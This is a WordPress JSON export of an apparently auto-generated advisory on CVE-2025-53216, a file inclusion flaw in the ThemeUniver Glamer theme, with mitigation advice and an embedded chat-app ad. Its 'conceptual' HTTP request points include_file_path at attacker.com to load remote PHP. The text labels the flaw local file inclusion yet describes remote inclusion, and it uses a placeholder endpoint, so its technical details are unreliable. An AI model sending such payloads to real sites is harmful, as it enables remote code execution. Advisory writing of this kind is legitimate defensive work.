{"id":72591,"date":"2025-09-07T14:09:26","date_gmt":"2025-09-07T14:09:26","guid":{"rendered":""},"modified":"2025-09-10T17:54:34","modified_gmt":"2025-09-10T23:54:34","slug":"cve-2025-53216-critical-php-local-file-inclusion-vulnerability-in-themeuniver-glamer","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53216-critical-php-local-file-inclusion-vulnerability-in-themeuniver-glamer\/","title":{"rendered":"<strong>CVE-2025-53216: Critical PHP Local File Inclusion Vulnerability in ThemeUniver Glamer<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-53216 is a critical cybersecurity vulnerability that resides in the PHP programming of the ThemeUniver Glamer, a widely-used web application. This vulnerability enables an attacker to include local PHP files remotely, leading to potential system compromise or data leakage. Given the severity of the impact, it&#8217;s crucial to understand the nature of this vulnerability, how it works, and what can be done to mitigate or prevent the risks associated with it.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53216<br \/>\nSeverity: Critical (CVSS: 8.1)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54788-sql-injection-vulnerability-in-suitecrm-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"80234\">System compromise<\/a>, potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2209552683\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>ThemeUniver Glamer | n\/a through 1.0.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability arises from the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27689-dell-idrac-tools-improper-access-control-vulnerability\/\"  data-wpil-monitor-id=\"81477\">improper control<\/a> of filename for Include\/Require Statement in the PHP Program of the ThemeUniver Glamer. This flaw allows an attacker to manipulate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3671-critical-local-file-inclusion-vulnerability-in-wpgym-wordpress-gym-management-system-plugin\/\"  data-wpil-monitor-id=\"80503\">file<\/a>name that&#8217;s passed to the include or require statement, enabling them to include a file located on a remote server rather than a local file. The included file can contain <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53192-critical-vulnerability-in-unsupported-apache-commons-ognl-leads-to-potential-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"80569\">arbitrary PHP code<\/a>, which is executed in the context of the application. This allows an attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23310-remote-code-execution-vulnerability-in-nvidia-triton-inference-server\/\"  data-wpil-monitor-id=\"80314\">execute arbitrary PHP code<\/a> and potentially gain unauthorized access to sensitive information or perform actions with the same privileges as the application.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-826482466\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited. This example assumes an HTTP POST <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49382-cross-site-request-forgery-vulnerability-in-jobzilla-wordpress-theme\/\"  data-wpil-monitor-id=\"81162\">request to a vulnerable<\/a> endpoint:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ &quot;include_file_path&quot;: &quot;http:\/\/attacker.com\/malicious_file.php&quot; }<\/code><\/pre>\n<p>In this example, `include_file_path` is the parameter that the application uses to determine which file to include. The attacker has set this to a URL on their server that hosts a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25174-critical-php-remote-file-inclusion-vulnerability-in-beeteam368-extensions\/\"  data-wpil-monitor-id=\"81095\">PHP file<\/a>. When the application processes this request, it includes the malicious file, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54253-misconfiguration-vulnerability-in-adobe-experience-manager-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"80258\">leading to the execution of the arbitrary PHP code<\/a> contained within.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55293-high-risk-vulnerability-in-meshtastic-s-mesh-networking-solution\/\"  data-wpil-monitor-id=\"81330\">risks associated with this vulnerability<\/a>, it&#8217;s recommended that users immediately update ThemeUniver Glamer to the latest version. If an update is not immediately possible, users should consider employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure to detect and block exploits <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52732-php-remote-file-inclusion-vulnerability-in-google-map-targeting-plugin\/\"  data-wpil-monitor-id=\"81935\">targeting this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-53216 is a critical cybersecurity vulnerability that resides in the PHP programming of the ThemeUniver Glamer, a widely-used web application. This vulnerability enables an attacker to include local PHP files remotely, leading to potential system compromise or data leakage. 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